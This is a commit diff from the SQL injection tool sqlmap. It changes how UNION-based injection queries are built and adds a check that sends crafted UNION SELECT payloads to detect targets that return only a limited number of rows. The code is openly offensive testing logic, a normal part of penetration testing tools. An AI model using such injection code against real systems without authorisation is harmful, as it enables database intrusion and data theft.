Update for an Issue #6

This commit is contained in:
Miroslav Stampar 2012-09-06 15:51:38 +02:00
parent c3d191e626
commit cea5127ffd
3 changed files with 30 additions and 8 deletions

View File

@ -555,7 +555,7 @@ class Agent:
return concatenatedQuery return concatenatedQuery
def forgeInbandQuery(self, query, position, count, comment, prefix, suffix, char, where, multipleUnions=None, limited=False): def forgeInbandQuery(self, query, position, count, comment, prefix, suffix, char, where, multipleUnions=None, limited=False, fromTable=None):
""" """
Take in input an query (pseudo query) string and return its Take in input an query (pseudo query) string and return its
processed UNION ALL SELECT query. processed UNION ALL SELECT query.
@ -586,6 +586,8 @@ class Agent:
@rtype: C{str} @rtype: C{str}
""" """
fromTable = fromTable or FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), "")
if query.startswith("SELECT "): if query.startswith("SELECT "):
query = query[len("SELECT "):] query = query[len("SELECT "):]
@ -598,7 +600,7 @@ class Agent:
if limited: if limited:
inbandQuery += ','.join(char if _ != position else '(SELECT %s)' % query for _ in xrange(0, count)) inbandQuery += ','.join(char if _ != position else '(SELECT %s)' % query for _ in xrange(0, count))
inbandQuery += FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), "") inbandQuery += fromTable
inbandQuery = self.suffixQuery(inbandQuery, comment, suffix) inbandQuery = self.suffixQuery(inbandQuery, comment, suffix)
return inbandQuery return inbandQuery
@ -615,8 +617,8 @@ class Agent:
intoRegExp = intoRegExp.group(1) intoRegExp = intoRegExp.group(1)
query = query[:query.index(intoRegExp)] query = query[:query.index(intoRegExp)]
if Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and inbandQuery.endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]): if fromTable and inbandQuery.endswith(fromTable):
inbandQuery = inbandQuery[:-len(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()])] inbandQuery = inbandQuery[:-len(fromTable)]
for element in xrange(0, count): for element in xrange(0, count):
if element > 0: if element > 0:
@ -635,9 +637,9 @@ class Agent:
conditionIndex = query.index(" FROM ") conditionIndex = query.index(" FROM ")
inbandQuery += query[conditionIndex:] inbandQuery += query[conditionIndex:]
if Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE: if fromTable:
if " FROM " not in inbandQuery or "(CASE " in inbandQuery or "(IIF" in inbandQuery: if " FROM " not in inbandQuery or "(CASE " in inbandQuery or "(IIF" in inbandQuery:
inbandQuery += FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()] inbandQuery += fromTable
if intoRegExp: if intoRegExp:
inbandQuery += intoRegExp inbandQuery += intoRegExp
@ -654,8 +656,8 @@ class Agent:
else: else:
inbandQuery += char inbandQuery += char
if Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE: if fromTable:
inbandQuery += FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()] inbandQuery += fromTable
inbandQuery = self.suffixQuery(inbandQuery, comment, suffix) inbandQuery = self.suffixQuery(inbandQuery, comment, suffix)

View File

@ -458,3 +458,6 @@ FORMAT_EXCEPTION_STRINGS = ("Type mismatch", "Error converting", "Failed to conv
# Regular expression used for extracting ASP.NET View State values # Regular expression used for extracting ASP.NET View State values
VIEWSTATE_REGEX = r'(?P<name>__VIEWSTATE[^"]*)[^>]+value="(?P<name>[^"]+)' VIEWSTATE_REGEX = r'(?P<name>__VIEWSTATE[^"]*)[^>]+value="(?P<name>[^"]+)'
# Number of rows to generate inside the full union test for limited output (mustn't be too large to prevent payload length problems)
LIMITED_ROWS_TEST_NUMBER = 15

View File

@ -28,6 +28,7 @@ from lib.core.data import kb
from lib.core.data import logger from lib.core.data import logger
from lib.core.dicts import FROM_DUMMY_TABLE from lib.core.dicts import FROM_DUMMY_TABLE
from lib.core.enums import PAYLOAD from lib.core.enums import PAYLOAD
from lib.core.settings import LIMITED_ROWS_TEST_NUMBER
from lib.core.settings import UNION_MIN_RESPONSE_CHARS from lib.core.settings import UNION_MIN_RESPONSE_CHARS
from lib.core.settings import UNION_STDEV_COEFF from lib.core.settings import UNION_STDEV_COEFF
from lib.core.settings import MIN_RATIO from lib.core.settings import MIN_RATIO
@ -205,6 +206,22 @@ def __unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYL
if not all(_ in content for _ in (phrase, phrase2)): if not all(_ in content for _ in (phrase, phrase2)):
vector = (position, count, comment, prefix, suffix, kb.uChar, PAYLOAD.WHERE.NEGATIVE, kb.unionDuplicates) vector = (position, count, comment, prefix, suffix, kb.uChar, PAYLOAD.WHERE.NEGATIVE, kb.unionDuplicates)
elif not kb.unionDuplicates:
fromTable = " FROM (%s) AS %s" % (" UNION ".join("SELECT %d%s%s" % (_, FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), ""), " AS %s" % randomStr() if _ == 0 else "") for _ in xrange(LIMITED_ROWS_TEST_NUMBER)), randomStr())
# Check for limited row output
query = agent.forgeInbandQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where, fromTable=fromTable)
payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where)
# Perform the request
page, headers = Request.queryPage(payload, place=place, content=True, raise404=False)
content = "%s%s".lower() % (removeReflectiveValues(page, payload) or "", \
removeReflectiveValues(listToStrValue(headers.headers if headers else None), \
payload, True) or "")
if content.count(phrase) > 0 and content.count(phrase) < LIMITED_ROWS_TEST_NUMBER:
warnMsg = "output with limited number of rows detected. Switching to partial mode"
logger.warn(warnMsg)
vector = (position, count, comment, prefix, suffix, kb.uChar, PAYLOAD.WHERE.NEGATIVE, kb.unionDuplicates)
unionErrorCase = kb.errorIsNone and wasLastRequestDBMSError() unionErrorCase = kb.errorIsNone and wasLastRequestDBMSError()